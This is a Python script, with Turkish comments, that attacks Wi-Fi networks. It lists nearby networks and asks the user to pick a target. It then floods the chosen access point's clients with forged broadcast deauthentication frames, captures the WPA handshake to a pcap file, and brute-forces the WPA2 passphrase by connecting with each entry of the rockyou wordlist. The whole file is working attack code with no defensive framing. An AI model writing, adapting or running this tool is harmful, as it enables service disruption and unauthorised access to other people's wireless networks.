import time
from scapy.all import *
import pywifi
from pywifi import const
from concurrent.futures import ThreadPoolExecutor
def list_wifi_networks():
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.scan()
time.sleep(5) # Tarama işleminin tamamlanması için bekleyin
results = iface.scan_results()
networks = []
for network in results:
networks.append({
"SSID": network.ssid,
"BSSID": network.bssid,
"Signal": network.signal,
"Authentication": network.akm
})
return networks
def send_deauth_packets(ap_mac, iface):
dot11 = Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=ap_mac, addr3=ap_mac)
packet = RadioTap() / dot11 / Dot11Deauth(reason=7)
print(f"Sending Deauth packets to broadcast from {ap_mac}")
sendp(packet, iface=iface, count=100, inter=0.1, verbose=False)
def capture_handshake(ap_mac, iface, timeout=60):
print(f"Capturing handshake for {timeout} seconds...")
capture = sniff(iface=iface, timeout=timeout)
handshake = [pkt for pkt in capture if (pkt.haslayer(EAPOL) and (pkt.addr1 == ap_mac or pkt.addr2 == ap_mac))]
if handshake:
wrpcap("handshake.pcap", handshake)
print("Handshake captured and saved to handshake.pcap")
else:
print("Failed to capture handshake")
def connect_to_network(iface, ssid, password):
profile = pywifi.Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
iface.remove_all_network_profiles()
temp_profile = iface.add_network_profile(profile)
iface.connect(temp_profile)
time.sleep(5) # Bağlanma işleminin tamamlanması için bekleyin
if iface.status() == const.IFACE_CONNECTED:
iface.disconnect()
return True
else:
iface.disconnect()
return False
def brute_force_attack(iface, ssid, wordlist_path):
with open(wordlist_path, "r", errors='ignore') as wordlist:
for password in wordlist:
password = password.strip()
print(f"Trying: {password}")
if connect_to_network(iface, ssid, password):
print(f"Success! Password: {password}")
return password
iface.disconnect()
time.sleep(1)
print("Brute-force attack completed without success.")
return None
def main():
iface_name = "Wi-Fi" # Buraya doğru ağ arayüz adını girin
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
networks = list_wifi_networks()
print("Available Wi-Fi Networks:")
for i, network in enumerate(networks):
print(f"{i}: SSID: {network['SSID']}, BSSID: {network['BSSID']}, Signal: {network['Signal']}, Authentication: {network['Authentication']}")
target_index = int(input("Select the number of the Wi-Fi network to attack: "))
target_network = networks[target_index]
ssid = target_network['SSID']
bssid = target_network['BSSID']
print(f"Target SSID: {ssid}, BSSID: {bssid}")
print("Sending deauthentication packets...")
send_deauth_packets(bssid, iface_name)
print("Capturing handshake...")
capture_handshake(bssid, iface_name)
wordlist_path = "D:\\rockyou.txt"
print(f"Starting brute-force attack on {ssid} using wordlist {wordlist_path}")
password = brute_force_attack(iface, ssid, wordlist_path)
if password:
print(f"Password successfully cracked: {password}")
else:
print("Failed to crack the password.")
if __name__ == "__main__":
main()